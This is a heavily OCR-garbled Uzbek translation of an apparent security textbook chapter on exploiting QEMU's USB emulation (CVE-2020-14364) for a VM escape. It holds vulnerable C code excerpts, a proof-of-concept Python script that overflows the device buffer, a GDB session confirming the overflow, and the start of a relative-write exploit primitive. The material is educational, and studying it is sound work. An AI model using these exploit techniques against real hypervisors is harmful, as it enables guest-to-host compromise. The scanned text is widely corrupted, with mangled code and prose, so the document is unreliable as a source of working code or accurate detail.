Dockerfile muhitn i itilse

: r
oladi. Ushbu bobdagi barcha kodla

. i s ilishi kerak:
rilishi kerak. ilmasi Docker konteyneriga 0 tkazilishi
Xostdagi KVM qurtim

S ed GHHv6/ch26/ .
8 docker build -t kali .

i i bash
-k xost -it kali
levice =/dev/kvm --nenvor k
$ docker run --dev

kodni /labs katalogida topish mumKin.

Docker konteyneriga kirgach.

lili o .

Bll'? :l ::mishishdan boshlanishi kerak. Tla sir

(USB)bbl‘?gan minimal miqdor muhokama qilina-
arur bo

. ial Bus g |
Tahlil Universal Seria v majburiyat ko'rib chigiladi va
a

: nz
Gilingan kodni WShun! i uc}::;mmoni
di. Ushbu tahlildan so‘ng: I::hlil qilinadi.
Xatoning asosiy sabablar! t

I~
tad
~J

_‘_



USB asoslari
bir nechta USB qurilmalariga ulangan xostdan iborat.
inoti, USB xost boshqaruvchisi va o'rnatilgan ildiz u}.-‘a-
chi ulanish nuqtalarini ta’min-

USB tizimi bir yoki
Xostda USB dasturiy ta’m
si mavjud. USB hub esa, “portlar” deb nomlanuy
lovchi USB qurilmasining maxsus sinfidir,

Qurilma Turlari

funksional qurilma sifatida ishlashi mumkin.
gan boshqa turdagi

mumkin,

USB qurilmasi markaz yoki
“Murakkab qurilma” deb ataladi
nechta funksiyalarni birlashtirishi

Ulanish Topologiyasi
USB tizimidagi qurilmalar a

. ; ylanma ulanisharn; oldini olish magsadida mak-
simal yetti qatlamli yulduz topologiyasiga ulangan. Birinchi qatlam xostning ildiz
markazidan boshlanadi va daraxtsimon konfiguratsiyani hosi qiladi. Biroq xost-
ning mantiqiy nuqtai nazaridan, barchgy qurilmalar lo’g ridan-to*g*ri ildiz xostiga
ulangan kabi ko*rinadj. " N

Eslatma: Ushby b limda tysh,
Juda wac!duf(r.\'f;.-'frﬂgmsr va {/SB !.r‘:fmfm'n;: barcha jil
2.0 spetsifikatsivasining 0°lig tasvirinj
cha manbalar” bo limde beril

mtirilgan 1S hagide herilgan ma lumotlar

irad i USB
wlaring gamrab olmavdi. U /
lishni Xohlagan o quvehilar "W siann-
Lan havolani ko rib chigishlari ki

Yakuniy nuqtalar

!arni uzalishning 0°ziga xos xususiyatlariga ega
' havjud. Ushby $0°nggi nuqtalar, shuningdek.
aydi. Har bjr $0'nggi nuqta noyob idetl13-
. . '8l nuqta ragam; p; iratilad; ha US
qurilmalari standart boshqaruy ys s . llan ajratiladi. Bare

uli sifatida “so‘ng ; oy langan
- - : , g€l nuqta nol™ deb nomlang
bir nuqtani qo*llaghi shartdir, Ushby S0°‘nggj nuqta, biug Kirish va bitta chigish

so'nggi nuqtasid:an it?o.rat bo‘lib, ikkalasj ham nol ragamigg tayinlangan. Oxirgi
nuqta no! f_lar doim lfll:lSh ueh.un ochiq bo‘lib, standart bos‘hqaruv trubkasi orqali
qurilmani ishga tushirisp Yoki uning isp faoliyatin; Manipulyatsiya qilish uchun

ishlatiladi. Bu strukturg USB quril ini :
s o4 malarinin samaral; TR arning
Integratsiyasini ta’minlaydj, - ‘ali boshqarilishini va ul

USB qurilmalarida ma’lumot
bo*lgan so‘nggj nuqtalar to*plam

lf}o_shq‘:iruv uzatishlgri qurilman; » Unga buyruglar yuborish yoki uning
EOI?ltlm so'rash r_naqiadlda ishlatiladi qaruv uzatishlari uch turga bo'linadi:
oshqaruvni oqigh, oshqaruynj yozish va ma’| i i i
. % - . . OShqa
ruvni o*qish va yozigh Jarayonlari uch bogq; ibgge - gt B

qurilmalar markaz va b

a1
4=b__l

|

ich o*rnati iyasini 0°z ichiga oladi. U
ichi: ich o‘rnatish transaksiyas a U
I. Sozlash bosqichi: bu bosq V'matl : - o pte
xost tomonidan boshlanib, qurilma bajarishi kerak bo*lgan boshqaru
N g i ‘rnati (siyasi nidan bel-
. Iiaiifljl ‘lumotlar bosgichi: bu bosqgich o‘rnatish tranzaksiyasi ltm.nf) by
2. Ma’lumo : : iyalarini o'z ichig
gilangan :-'o‘nalishda bir yoki bir nechta ma’lumotlar tranzaksiy

: i ma’ ichining natijasi
olad;. Holat bosgichi: oldingi sozlash yoki ma’lumotlar bosqichining natij
s 8 ola . =3

; : ishlatiladi. ; ol %
o "‘abar bem‘:h L:[:;ltlln;:'lvat;sa fagat sozlash va holat bO.SCFICI}lg.lrI({aI]- :?; rz:
: ]I\;Ia ]JU;EHT‘SI:M; U%B qurilmalarining samarali boshqarilishini ta’'minlay

o*ladi. Ushbu tizi

A iradi.
va ularning integratsiyasini osonlashti

Paketlar o ‘
i i ‘z ichiga oladi.
funksivao‘rtasida paketlarni almashishni 0°z ichig
Transaksiya xost va 3

k i 'zl him guruhlar:
d i mavjud: u}/ldabaznmf n R
e maly) e g_"l':L'h; lp:kjeltj tu?ini to*ldiruvchi tekshirish kodini o°z ichiga
e PID Paket turini v

oladi.

ilidan foydalaniladi.
ili Bu holatlarda faqat nol standart manzilidan foy
* Funksiya manzi

e ta noldan foydalaniladi.
ili Bu holatlarda oxirgi nugta noldan 1o: is harbir
* Oxirgi nuqta mg“zl:l{)?z baytgacha ma’IUmotlarnlbq z 1chil§§1y21gf; :;'iiiiaan.
* Ma’lumotlar 0 dan 1025 © /ingi baytdan bir poz S
vatli LSB) keying , funk-
baytning eng kam aham’.\’a}t:lI E:I \(fa OUT paket turlari UChun]-bt}krlr'l?;dr?ir;c;];ik
P = = 3 i 5 bitli sikli
* Token CRC. SL;iSi”- maydonlaridan hisoblangan 5 bitli s
siya va oxirgi nuqta m :
A hisoblanadi. T itli CRC . ' -
le]\smll)m;l I(glligl\/l]zl”[umotlar maydonidagl ]-(Suziiﬂi ularning paket turiga bog‘liq
* Data . lar mavjudils i ‘g‘ri keladi:
1 Iﬂaydon y 5 " dan biriea to g
Muayyan paketda qays Paket sin qu)udagl glllu!llf.ll : 'chiZa oladi. Ushbu
(PID maydonida kod[angaﬂ:; va SETUP paket turlarm; Okz _Iva sranzilis s0*ngui
e ., si ) S
* Token OU.T' IN-.;isﬁami o'z ichiga oladi: PID, funxsi)
Paketlar quyidagi may aket turlarini 0‘z ichiga
nuqta manzili va token CRCﬁATA 1.DATA2 va MDATA;:; ma’lumotlar baytlari-
* Ma’lumotlar DATAO. - i, undan ke}tlar CRE spvilissing o
: . - pnaketlari ma’lumo v
oladi, Ma’lumotlar pake va

' i (0 dan
ning o‘zgaruvchan soni (0

iChiua Oladi. ALL N 5
v Handshake ACK. NAK. ST

i - di‘ - -
i o'z g o2 ini o‘z ichiga oladi.
Ushby paketlar faqat PID maYd’?nll)I;'l;G - RESERVED sl 021
SPLIT,
* Maxsus PRE, ERR,

i ‘rtasida
. ini) xost va funksiya o’rtasi
i (va ularning bosql.zhlaintzlr)z;; tavsiflash mumkin:
. i ;
Boshqaruv uzatlSTlaTuqtai nazaridan quy1dag
almashinadi gan paketlar

D maydonin
1024 gacha)

YET paket turlarini o‘z ichiga oladi.

]
e
-
O

e SRR



» Sozlash bosqichi bi '
qichi bitta sozlash transaksiyasidan iborat. Sozlash transaksiya-

sida xost SETUP paketini va
S ; undan keyin DAT/ W . Sl
yatli bo*lsa, funksiya ACK paketi bilan}}avob bé:gdlijakenm yuboradi. Muvalfa®

* Ma’lumotlar bosgichi g
qichi sozlash bosqichi tomonidan tayinlangan yo*nalishda-

gi bir yoki bir nechta ma’lumot]z n
lar tranzaksiyasida, agar bc])S t ' tranzaksiyalarini 0°z ichiga oladi. Ma’lumot-
, hqaruvni uzatish b :
shqaruv yozuvi bo*lsa. x '
yoz sa, xost OUT

paketini yuboradi, keyin DATA
L X (DATA i i
Boshqaruvni o‘qishda xost | yoki DATAO0) paketini yuboradi.

boshgaruvni 0°qish bo‘lsa, holat

s . bosqichi :
paketini yuborishi bilan bosh]a 0sqichi xost OUT va no uzunlikdagi DATAI

nadi. A g
gar buyruq bajarilgan bo‘lsa. funksiya

i va funksi i
unksiya nol uzunlikdagi DATA1 bilan javob

beradi. MuvafTaqiyatli bo
wad yatli bo‘| .
bilan javob beradi. i ZBLACK ol boshqacha tarzda NAK/STALL

Standart so*rovlar

bosh .
a__!un:ljtrlt;v trubkam' orqali qurilmaga yuborili-
I maydonini o'z ichiga olgan SETUP

quyidagi parametrlarni

uchun 16 bitl; s0°‘rovga bog*liq maydon.
uchun boshqa 16-bitli so‘rovga

24(J>

By -

Laboratoriya ishi 26.1:
GitHub API yordamida patch tahlili
Ushbu CVEni QEMU omborida tuzatgan majburiyatni topish mumkin. Bu-
ning uchun GitHub ning REST API2 dan foydalanishva ularning tavsifida “CVE-
2020-14364"ni o*z ichiga olgan majburiyatlarni qidirish mumkin. Jg3 vositasidan
olingan JSONni tahlil qilish va filtrlash uchun foydalanish mumkin, faqat bizga
kerak bo*lgan ma’lumotlarni ko*rsatadi: majburiy URL va majburiy xabar.

(root ghh6)-[/]

#curl -s -H " Accept: application
api.github.com/search/commits?q=rep
commit | .url + “\n"' + .message’-r
hups://api.github. com/repos/qemu/gen wgit/commits/
b946434/2659al 82afc17e] 53be6791ebfb302¢b

ush: fix setup_len init (C} 'E-2020-14364)

Aend.github.cloak-preview+json " https://
o:gemuw/gemu+C VE-2020-14364 | jq “.items[0].

Hisoblangan ngp_!en—ufmahalliy o'zgarw(fhida saqlash, uni tasd?qlash va
agar u aql-idrok tekshiruvidan o‘tgan bo'lsa. uni fagat strukturaga yozish kerak
(USBDevice->setup_len). .

Bu boshqa kodning (ayniqsa do_token_{in
Device->setup len qiymatlari bilan ishlashini v
rini to*lib toshishini oldini oladi.

Endi majburiy URL manzili bor, boshqa s

rish lozim:

out}funksiyalari) noto‘g*ri USB-
a USBDevice->setup _buf[] bufe-

o‘rovni bajarish va kodni o*zgarti-

jew+json” hitps://api.

(root ghht6)-[/]
82afc17e155be6791ebfb302eb| jq

#eurl -s -H “Accept: app.’icarimrf :

gm’mb.c'orr:/rcpﬁs.fqen.'w’qemw'r.‘Umm*

Siles[0]. patch -r colordiff int *e,

'k?.-'dl[.!j"g 6+1 ')Ql 7 @@ void ush_wakeup( L;ngg ”?:TT;) e
-y bl ) e _.'* ;,C'J

static void do_token_setup( usBDevice °S g

i
i

int request, value, index;

+ unsigned int setup_len:

if (p-=iovsize 1= 8) { L
P->status = USB RET STALL: ; q
@@ -138, 14 +139,15 @@ static void f{o-',:?-ij}-:
ush_packet copy(p s.>setup_buf, p= 1OV

s->setup_index = 0;
pP->actual length =0 P ~cotup bufl6]: (1)
‘S-‘seISP_!er;gf {s-“sem}’,b"ﬂ 7] :b;ji) {l g -

- if (s->setup _len > sizeof(s-~ WFTE:' | 5~ sefup buff6}: (%)

+ Se!”p__fe}? : (s_ S‘,ﬂfp__b“ﬂ7 -be_j)j}{ —

*if (setup_len > sizef(s” -data_bl,

Jprintfstderr:

vnd. github.groot-prev
15/b946434/2639al

unsigned int stream)

setup(USBDevice *s, USBPacket *p)

241
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B i

“usb_generic_handle packet: iy buffer too small (%q ~ Yozu)\n”,
- s->setup_len, sizeof(s->data_buf));
+ setup len, siseoﬁ;s&cfamkbz{)?) 3
p->status = USB_RET STALL:
Return; -
/

T $-=setup_len = setup Jen;
request = (s->setup_buff0] << 8 | s-
value = (s->setup_buff3] << 8) | 5->

“setup_buff] i
Setup_buf]2]:

Eslatma do_paramerey ham zaif hisoblanad;

: . 0 lekin hi- f;.:;;uf do token setup
g' ’ ‘Jir » P . ;.
funksivasieq e tiho, qaratami=,

Zaif funksiya do loken_setup SETY
loken_setup SETUP ini (USB ma’nosida “xost”;
bu “xost” aslid paketlarini (Us ARG 255

a guest VM) Endpointga . : _ ; 5 G
. B yuborish bilan shug‘ullanadi. USBDevi
v K * .
¢e s parametri qunlmanmg ho!auga kO‘rSatkich bo‘lib xiz;at qiladi va /SBPa-

& .

;k;f]uil;ellaayotgag pgk?t haqida _ma’fumotni o'z ichiga oladi. Funksiya SETUP-
o JNAYConining uzunligi 8 bayy ckanligini tekshiradi. Agar tekshiruv

muvaffaqiyatsiz bo|sa, p- -

; ¢ “status USR RET § ‘ TPt : iva
to*xtatiladi; aks holda, e cop; T STALL ga o‘rnatiladi va funksiy
nusxalaydi. -

paket ma’lumotlarini s->setup_buf” 23
Ushbu zaif kod (1) s- w0 len ni 8->sefy

. =sely iy = s rdo-
niga mos keladigan (ma MOt Byt P_buftarkibiga wLength™ maydo

e SIr qilmasdan 0°rniga mahalliy o‘zgaruvchidan
Kexingt ;
Shirad? ;;iI,1112212: ggsr;a_act;jdma_bzyfhajmidan kattarog yoki yo*qligini tek-
ichida ma’| i ishlatiladi

206 b bufiy Yoo shunday bo::;otlarm Nusxalash uchun ishlatiladigan
va majburiyat tavsifidan pj, WLength ma!y
paketini yuborish mumkinligini taxmip, qilis
qayta ishlay olmaydi: a4Mmo noto*g‘yj 4
holat ma’lumot]ar bosgichida ma’lumot]
uchun ishlatilishj mumkin,

doni 4096 dan katta bo*lgan SET upP
himiz mumkin va do_token_setup un!
“7Setup_leno*rnatiladi. Ushbu noto*g'r!
ami uzatishda s->data_buf ni to‘ldirish

242

tunksiya garovga qotyiladi. Kod diff

¢ i ; ma’lum
Freymvork asosidagi eksploit ishlay boshlagandan so’ng, uni by dunelay

bir OT"ga o*tkazish mumkin.

Magsadni sozlash ' o
M(IIJ(VS.I.[}-ch) versiyasi kerak bo‘ladi. Ush-

er konteyneri allagachon uni o°z ichiga oladi.

i i huning uchun uni
G ke rt bo‘yicha yoqilmagan, s 2 .
el S Slanjf?uninoglek. unga USB qurilmasini ulash ke-

, ‘o *shish. i ) T
QEP\::.JI buylmg};]:,;(Sljia?rznini debug qilishi uchun. uni gdbserver’ orqali ishga
rak. Nihoyat, QE =

tushiriladi.

Buning uchun dastlab zaif QE
bu bob uchun tagdim etilgan Dock

- horeha manba favtlaring Docker konteyneridagi
Eslatma: 1'shbu bobdagi bareha 5
labs katalogiden ropish numkin. ; o
1 -sinfi amalg
Quyida /labs/qemu_guest.py faylida qanday qilib Guest sub
oshirilgani ko*rib chiqgilgan:
NULL
Jfrom subprocess import Popen, PIPE, DE
import guest
class Guest(guest. Guest):
debugger = “gdbserver 2
stderr = True
def __enter__(se i:
self.proc = Popen( _system-x86_64 "
(f exec {selfdebugger! oM™ s iso
~display none -boot d -cdrom fvm v
“m 300M -serial stdio 6l wble-KY
“device ush-ehci,id=ehct 28
“device usb-mouse,bus=¢hct.0
.Js}dh::PH’E. stdout=PIPE, VN
stderr={True: None, False: DE
shell=True
)
return self

7 0.0.1:2343"

ULL}self- siderr],

:oq ishi 26.2:
Labor?]:;inzurilmalarni skanerlash
r

-
Interface (EHCI) i_((lnTtro

S 'thz;:’irl?“;runi freymvorkga kmt':lgan
hlUsth; modul guestning yadro ishga

hun kodni qo'shadi:

pCI bus (shi"i“zn‘::e

1 :

lerj guestning PCl shinasida I irish mumkin.

Pei.py moduli yordamida b . skanerlash uc
tUShgan dan so‘ng PCl shinasin

(]
=N
tad

;



l:—(roor ghhé)-[/]
#ed /labs; python3
Pvthon 3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.} 20210110] on linuwe
Tipe “help”, “copyright”, “credits" o
>>> from gemu_guest import Guest
=== from pei import Session
=== Guest.debugger = **
=== Session(Guest). run()
. omitted for brevity .,
00:04:00: USB (EHCI)
BAR MEM-space : Oxfebf1000@ sizc- Ox1000
BAR MEM-space : 0x() sj-e: Ox0)
BAR MEM:-space : (0x0) gi=e- Oxf)
vendor _id : Oxe(00
device_id : (x40
command : Ox 107
Status : Ox()
revision_id : (x 10
prog_if": Ox208®
subclass : Ox3©
class_code : Oxc®

“license” for more information.

Eslatma: Yangi asosiy k

lass endi Session de
chigilean Fuyz==er klassini un

h tffc#fn'{f.f var hh’ 24-bobhda ,r'_\fh‘lu'h
nimlashiirae;

EHCI nazoratchj quyidagi .

idagi XUsusiyatlargg ¢
0x03 M- Interface (prog_if): 0x20 ®- BAR
manziliga ko‘rsatma bera

ga:- Klass kodi: 0x0c @- Subklass:

: : 0: EHC] registrlar makonining asosiy
di, mangzil: Oxfebf1000 @

EHCI kontroller

EHCI kontrolleri USR qurilmalari bijan

AS_mx.l'Onjadva! ishlatiladi, chunki u oddiyroq.
i mumkin. Asinxron jad-

P i : ining
aylantiriladigan ro‘yxati, Operatsion Queue Head (QH) elementlari

: ) : registr AS : jadval
tomonidan qayta ishlanishi kerak bo‘lga%l keyi o ISTADDR "

_ ment ty
Keyingi maydon]ar
S0'Nngra joriy Queue EJ

ngi QH elementiga ko‘rsatma bera-
rini (bu holatda, QH turi) va keying!
endpointning Xususiyatlari va imko-
ement Transfer Descriptor (qTD)ga

di. Queue Head birinchi navbatda ele
QH’ga ko*rsatma beradi.
niyatlarinj ko‘rsatadi,

i jori ilan bog"I fer overlay
ko*rsatma beradi. QH ning qolgan gismi joriy qTD bilan bog‘liq transfer overlay
K0TS : g qolg |
ma}’d?g- bir voki bir nechta USB tranzaksiyalarini if‘odalaih gchur; (;ls(lgaziii]:

) 7D v i larea ko‘rsatmalar, qTD tokeni va 2 g
ingi : arga ko'rsatr token ' -
o 2 ahemaﬂ? 'q[;lc;lzhtavbufer ko‘rsatmasini 0°z 1ch1g_,a oladi. qTD t_o'
v oa) uzatilishi kerak bo‘lgan umumay-baytl'ar sonini
e ki SETUP tokenlarini yaratishda ishlatila-

uzatish imkoniyatini bell';.w o
keni (boshqa narsalar bilan bi ,
(bufer ko*rsatmalaridan) va IN.OUT yo
digan PID kodini kodlaydl: ——
Asinxron jadvalni yoqish }"Okl 8 ggg[ﬁl
to*xtatish uchun operatsion registr

cedlpn bayrge b R ta‘;i]i k(;:s;tzr:;iiatchi bir nechta “Port Status and Cen:-:L

» i b sl ket i istrini po
so‘rovlar blllat_] 16?;33.?;%:; qo'llab-quwaﬂa}’d': f?q;t PORTSCO registrini p
rol™ registrlarini : i hun ishlatiladi. | ‘
o mSIuSvSl;oL:fikasi ehci.py modulida joylashgan (bo"sh
bosl} S;i;ydi) :a eksploit kodidan ajratiladi. Ushbu mo-
i

h. shuningdek. uni ishga tushirish yoki
D dan foydalaniladi. USBCMD f)rqjalf
di. shuning uchun USBSTS registrini

zero ni yoqish va qay
Freymvorkning EHCI
joy sababli uning kodi ko"rsat

idagilardir: )
; im etilgan metodlar quyidagliarcit- — aratadi.
Slliomagicen chj}"ml]\ erzliiama'lumot argumenti asosida bittagTD y
o « |OKE [
— qtd_single:

s ; . H H yaraladi-

_ .5 jaat qiluvchi) Q :
. ida bitta (0°z-0"ZInl MUroJaz “ni o*rnatadi.

B o qI]C?R?I?gEISZa “port reset” va ke}fll;. port enabled”ni o°m

- port_resct.d stop: Asinxron jadvalni 1?-xtatawf\-l CLISTADDR ni o*rnatadi

—async_sche d_run: QH argumentini berib. AS

—async_sched_run: W

C iradi. I
; : hea tushira . olib. a
i 'Iadvla]mT]jkr‘:-n va ma’lumot argumentini 0
— run_single:

I oshiradi.
foydalanib transaksiyan arl:lfllgla ol
request: Standart sO'TOVial ingle ni
i - i e, g ratadi va rLl!'l_Sln
rini yaratadi. umentini olib, SETUP tokeninl y&
g J
— setup: So‘rov arg

chagqiradi.
q— usb in:Ma’lumot uzun

single’ni chagiradi. Funksiya
sifatida qaytaradi. ‘
—usb_out:Ma’lu

vvalgi metodlardan

8baytli ma’lumot maydoni ma’lumotla-

i olib. IN tokenini yaratadi va run_

ot tin : :
ligh axBeR e na’lumotni qaytaradi va bayt satri

dan uzatilgan 1

n i iyag I uzatadi.
O Vector) argumentini olib. funksiyaga (OUT)
mot (10Ve

i triggerlash "
Bug’nilzll;;ggdan katta bo‘lgan SETUP paketini
oni 40

1 i i ] Edi .

] . ath ma}’d X iaid
llgari, xatolik wLeng ayta ishlashda s->data_buf tolib ketishi
q

. iz s->setup_
Yuborish orqali yaroqsiz Slj'sf paketini
Ma’lumotlar bosqichida O
mumkin, . :
OUT paketlarini an‘a/ii
nadi va uni /qemu/hw/usb

EMU funksiyasi do_token_out deb nomla-

hlovehi Q konteyneri ichida) orqali topish mum-

re.c (Docker

L]
b
N

e S i SR



kin. Ushbu buffer t_(‘)‘]i.tl,-i( R
et .
ko'rib chigish kerak: ishi qanday sharoitlarda boshlanishi mumkinligini

Static void do 1oke; 7
! 1_oul(USBDevjce ¥ USBPacker *n)

i
¢

assert(p->ep->pp == 0);
swifda(s—>senqp_sfam) {
case SETUP_STATE ACK:
if (s->setup_buff0] & USp DIR_IN) ¢
S->setup_state = SETUP STATF
/* transfer OK */ A
felse {
;’ * ignore additional oulput */
break;
case SETUP_STATE Daty.@
| ff (.}(s->seﬂga_bzgf[0]& USB DIR IN)) ¢
Intien = s->setup len - 5.>copm
e o m_;) . S==Setup_index-@
len = p-=iov.size:
/
usb_packet_copy(p, S->data_byf +
S-=setup_index += oy
if (s->setup_index >=sl >
; ;| “setup_len) f
s-=setup state = § E
| ; ETUP_STAT, E_ACK:
| refurn;
‘ /
| S-=setup_state = SETUp ST
SIATE IDLE.
p->status = USB RET ==
. _NET STALL:
default:
|
| f-).s!ams = USB_RET ST41].-
/

§->5 ]
Selup_index, len).@

Usb_packet ¢o :
. — p}f o ﬁJnkS] asi .
ladi, agar S-=setup_state SETUg ksglgjgl?é’Shqanladigan obyektiv @ bilan chagiri-

ketini - - D ‘ :

i, éﬁh?fﬁ'@maﬁhda do_token_seyy bgf@ bo‘lsa. Birog buzilgan SETUP
. 0 = K . .

i . QtSJ qc? SETUP paketin yuborisf:;’mf'SOZIamalandan oldinuey

Yida do_tokep e qall ushbu cheklovni bartaraf

SETU i i s .
P paketlari qanday ishlanishin; ying‘{::n;‘;r :/E:'s:b;cot:-e.c) v
0°11b chiqish lozim:

{ -

int request, vafye, index;
if (p-=iov.size I= 8)f

246’

|

|

r Static void do_token sepy, U. ]

L _Selup(USBDevice *g [J'.S‘BPackef
|

p->status = USB_RET STALL;

return;

!
i

usb_packet_copy(p. s->setup_buf, p->iov.size):
s->setup_index = 0;

->actual_length = 0;
f-?—*.\"ump_ﬂ-u : (s->setup_buf[7] << 8) | s->setup_buf[6]:
... omitted for brevity ...
if (s->setup_buf[0] & USB_DIR_IN) { _
usb_device handle_control(s. p. request, value, index,
s->setup _len, s->data_buf);
if (p->status == USBJRET_ASI’NCJ !
s->setup _state = SETUP_STA TE_SETUP;

!
r

if (p->status != USB_RET_SUCC. ESS) {
return;
!

]

'3
if (p->actual length < s->setup_len) {
s->setup len = p- >actual_length;

!

s->setup_state = SETUP_S TATE_DATA:
pelse |

if (s->setup_len ==0) o
s->setup_state = SETUP_STA TE_ACK;

else _
s->setup_state = SE TUP STA TE DATA;®

!
i

p->actual length = 8;

!
'

ETUP paketi yuborilsa, bu s->sefup_

74@ ga o‘rnatuvehi kod yo‘liga olib keiishi. ml.ln_ﬂ(in:
i ngi ikkita ketma-ket SETUP paketlarini (birinchi
. OUT paketini yuborish orqali ishga tushi-

Agar to*g"ri uzunlikni 0’2 ichiga olgan S
state ni SETUP_STATE_DA
Bu shuni anglatadiki. bufer o ]
paketi to*g'ri wl.engthga ega) Va bitta
rilishi mumkin.

Hagqiqiy nusxalash jara
dan amalga oshiriladi. -

Agar ushbu funksiyan!

ketning PID bilan aniglanis

Packet

i ush_packet_copy (/gemu/hw/usb/core.c) tomoni-
yoni %

patafsil ko‘rib chigilsa, nusxa ko*chirish yo*nalishi pa-
a 5
hini korish mumKin:

*D, void *pt, size_l bytes)

void usb_packet_copy( USB
{ p.pcumbmed

OEMUIOVector *iov =
assert(p-actual_length
assert(p-- actual length

switch (p->pid) {

: p—}combined—ﬂmf: &p-=iov;




case USB_TOKEN SETUP:

case USB_TOKEN OUT-®
iov_to_buffiov->iov, iov->njoy, p-
break;

case USB_TOKEN IN:®
iov_from_buffiov->ioy, tov->nijoy,

Zactual_length, pr; bytes):

p-=actual length, pyy, bytes);
break; '
default:

Jprintfistders; “%s: invalid pid: %x\n", _Junc__, p- >pid);
abort();

/

p-=actual_length += bytes;

!
/

SETUP yoki OUT paketlar; uchun iov 1o pyr i i .
y uf @, . aketlar
uchun iov from_buf & chagiriladi. 02D shubilan Sl

Yuqoridagi berilganlarga asoslanib, to°lib ketichmn; . _ ) )
3 t - f_ bll
ferdan 32 bayt 0*tib ketad; etishni keltirib chiqaradigan va

gan konsepsiyaning tasdiglash kodi yoziladi. Quyidagi

kodni /labs/trigger.py saytida topish mumkin:

import ehci

Jrom gemu_guest import Guest
Jrom remotemem import 10Vector hunk
class Trigger{ea‘:c!..S'e.';s:'on).'
retry_exceptions = false

timeout = ()

def !rfgger_m’wﬂow(self overflow

_len, data)-
self-setup(self.request(0, 9, g, %1000 Y
selfsetup(self.requesi(0, 0, 0, 0, gyepygon, len))®

self. usb_mer(JOVecmr([ Chunk(data ])®
def on_boot(self, bodly): '
super().on_boof(bo@y
self.port_resety)

self. trigger_overflow(0x ] 020, b e
if _name == "_main_ "
Trigger(G uest).runy) o

*0x1020)

Birinchi SETUP @ paketi (to*

e s >slate ni SETUP STATE DATA

(g)aUOTn;‘I;:;( :: I(Ii‘;;mh' SETL_JP. ® paketi S->setup len ni overflow len ga buzadi.
s Mazmuninj Sodafahbafga yozadi : any tigcha

to‘ldiradi { adl va uni 32 bayt ortiq

g'ri uzunlik) s-

‘E?"--
_ g ' !
i

=

chigiladi:

Ermm ghh6)-[/labs] ‘
# pvthon3 wrigger.py &
2] 1089
E—_{mm ghh6)-{/labs]

#gdb -q onoff
(gdb) set pagination o 3
fgrfiw) handle SIGUSRI nostop fioprit)f:‘i —
Signal Stop Print Pass to prog! am D s
SIGUSR] No No Yes User defined sig
(gdb) target remote localxost:2343
.omitted for b.*'er.if_'.-'.,,. -
0x00007f8b7d70e090 in _sta! ‘.' (
(gdb) b usb_packet_copy if h.j- ;—’; e
Breakpoint 1 at 0x3607 76edcbad:,
(gdb) ¢
..omitted for brevity ..
Thread 1 “gemu-system-x8
(p=0x3560779903630,
plr=0x36077a663 f)gt‘; h}:f -t
588 OEMUIOVector ™iov = J——
rg:z’h%fnfsh@ y (p=0x 560779903630, it 3

1 exit from #0 usb_packet_copy (F .
Run till exit from #0 H:; _.ifsbfcﬂrf:.c:.)bg . p—— isbloone.c: 244
bytes=4128) at /qemw/h P p:{)_t_.,én;x?ﬂ?ﬁj

do_token_out (s=0x5 6? ;f::

244 s->setup_index += el

(gdb) x/4gx &s->data_buf[409 6-](53 w ﬂfﬁ?ﬂm’ﬁ
0x56077a66609¢: 0N i Os I
05607 7a6660ac: O ™5

iniex=x86- 2
from rarget:/lib64/ld-linmux-x 86-64.50

== (x10200 o
nlfe.fuu/)'m-'fz.acb.fmm. c, line 588.

6" hit Breakpoint 1. usb_packet_copy

imo/meh/core.c:388
/hw/usb/core. )
—4128) at /gem/hw/t . P RepeSiov:
es=4128) f;mgd 5 &P_}Cm”b”wd_:-m\ c&p
>com .

.opy '@ funksiyasida UZLlIll'lg]
- “”S‘bJ-} {fei?;ﬁtriﬁtasi o‘rnatiladi. To'_xtafwh
ciob hni bajarishiga ruxsat bcr.llaél (2]
alﬂS:.S ~data buf'® tugagan Joy-ldan
g Oxﬂ';egistrida 0°zgargani tas-

GDB bilan u]anilgﬂ“dag.iz?s
0x1020 bayt bo*lsa, to°xtaydis

v X

iyaga nus?
huqtasi ishga ‘l'S“ga“qa’dfiun;t?u{:dgan so‘ng.
va chaqiruvchiga qaytila -irib ma’ lumotlarnin

keyingi ma’lumotlarni teksh
diglanadi.

itatsiya | '
Ekslpt:?s:;lauc:un sarur bo‘lgan barcha qgadam
ala

i i va oxir-oqibat rerzfr‘_b

rigioes tmsmanaciillg‘or primitivlar yarati-

2l oz ckiipn SlA0- i ishgunga qadar yan? da topish mumkin. C
texnikasi orqali kod bajar kodini gemu_xpl-py

tatsiya
ladi. To'liq ishlaydigan eksplua
<249




o >
tuzilmalarini osonlik bilan bosh

etiladi. Bu construct.Structnin
maydonlari uchun C-ga o‘xshas

qarish uchun ¢struct.py da CStruct klassi tagdim
g moslashtirilgan kichik klassi bo*lib. u strukl_urﬂ
h muvofiq va ofset ma’lumotlarini ta’minlaydi.

Yozish (write) uchun nisbiy
vni yaratish uchun USBDev;j
n) korib chigiladj, Xususan

primitiv usullar

ce tuzilishini (/qgemu/include/hw/
. “data_buf"dan keyingi maydon-
an buzilishi mumkin:

Birinchi primiti

uints_t setup_byff8):
uint§ t dara_brﬂ-m%]:
int32 ¢ remole_wakeup;
.*';1132_.' selup_state;
int32_t setup_len;
int32_t setup index:

Biz setup_index va Setup_lennj boshqarish
ni SETUP_STATE_DATA £a o'rnatish mumkiy

va har doim setup state holati-
nusxalanadi:

1. Ma'lumotlar quyidagi tarzda

ush _packet_copy(p, S->data_byf + .

ZSetup_index. len);
S->setup_index += Jop-

S-=setup

: _index pi b-oshqarish orqali biz buferning to° i, ketishini s->data_buf
manzilidan +2GB nisbiy Yozishga aylantiris X
mizga asoslanib, nisbatap _yozis

h mumkin, Trigger overflow usuli-
labs/gemu_xpl py).

h primitiyin; quyidagi tarzda qurish mumkin (/

def ove:ﬂou-'_dara(sew:
return CStruce(
remote_wakeup'/ ¢, Int32g]
‘setup_state’/ c.fnt32s],
setup_len’/ c.Int3 2sl,
setup_index'/ ¢.Int32]

)
def ove:ﬁow_buifd(se:f overfiow e, g ] g

return self. overj?ow_da!aﬂ. bJ:j !d(:f “p_ten, Sep_index). @
remote_wakeup': 0,

setup_state’: 2, #SETUP_STATE DATA

setup_len’: setup [en, N

setup index’:

),

setup indey overflow lon@®

def refam’e_‘wrfte(seljf offset, data: 10Vector). @
data_buf lep = USBDevice. dam_bufsfzeoﬂ)
overflow len = data_buf len -+ .geyfm,wﬁo“._ datay) size ofl)

o]
wh
=

D E—

|

setup len = data.size() + offset

self.rigger overflow(

overflow len, _ , len, offsel)
\'e!}f‘m'ef'ﬁun'_bu."!df overflow_len, setp_

)

selfush_out(data)

